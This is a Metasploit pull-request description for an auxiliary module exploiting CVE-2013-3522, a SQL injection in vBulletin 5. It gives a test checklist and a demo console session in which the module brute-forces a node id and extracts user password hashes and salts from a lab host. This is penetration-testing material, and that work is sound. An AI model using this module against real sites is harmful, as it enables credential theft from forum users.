Add aux module for CVE-2013-3522

* Verification 

- [ ] Install VBulletin 5 (ask me if a vBulletin 5 package is needed to test this pull request)
- [ ] Run the module like in the demo.
- [ ] When running the module, set the TARGETURI option if vbulletin is installed on other path than "/"
- [ ] When running the module, set the NODE option to a valid NODE id, or the module will try to bruteforce it. Bruteforce range can be set with MINNODE, MAXNODE
- [ ] hashes from vBulletin are retrieved.

* Demo

```
msf > workspace -a vbulletin_sqli
[*] Added workspace: vbulletin_sqli
msf > creds

Credentials
===========

host  port  user  pass  type  proof  active?
----  ----  ----  ----  ----  -----  -------

msf > use auxiliary/gather/vbulletin_vote_sqli 
msf auxiliary(vbulletin_vote_sqli) > set rhost 192.168.172.136
rhost => 192.168.172.136
msf auxiliary(vbulletin_vote_sqli) > show options

Module options (auxiliary/gather/vbulletin_vote_sqli):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   MAXNODE    100              yes       Valid Node ID
   MINNODE    1                yes       Valid Node ID
   NODE                        no        Valid Node ID
   Proxies                     no        Use a proxy chain
   RHOST      192.168.172.136  yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /                yes       The path to vBulletin
   VHOST                       no        HTTP server virtual host

msf auxiliary(vbulletin_vote_sqli) > run

[*] 192.168.172.136:80 - Checking for a valid node id...
[*] 192.168.172.136:80 - Brute forcing to find a valid node id...
[+] 192.168.172.136:80 - Using node id 1 to exploit sqli... Counting users...
[+] 192.168.172.136:80 - 2 users found
vBulletin Users
===============

Username  Password Hash                     Salt
--------  -------------                     ----

admin     5d80253b1cd5e5d4ca5ed539f4d72052  
juan      57ef8fbc005da5d8d6bbc2fbb8226b99  zHkl{Grf]K{swNzvgVD;Y|06\"{d_MS

[*] Auxiliary module execution completed
msf auxiliary(vbulletin_vote_sqli) > creds

Credentials
===========

host             port  user   pass                              type  proof                                  active?
----             ----  ----   ----                              ----  -----                                  -------
192.168.172.136  80    admin  5d80253b1cd5e5d4ca5ed539f4d72052  hash  salt:                                  true
192.168.172.136  80    juan   57ef8fbc005da5d8d6bbc2fbb8226b99  hash  salt: zHkl{Grf]K{swNzvgVD;Y|06\"{d_MS  true
192.168.172.136  80                                             hash  salt:                                  true

msf auxiliary(vbulletin_vote_sqli) > check

[*] 192.168.172.136:80 - Brute forcing to find a valid node id...
[+] The target is vulnerable.
```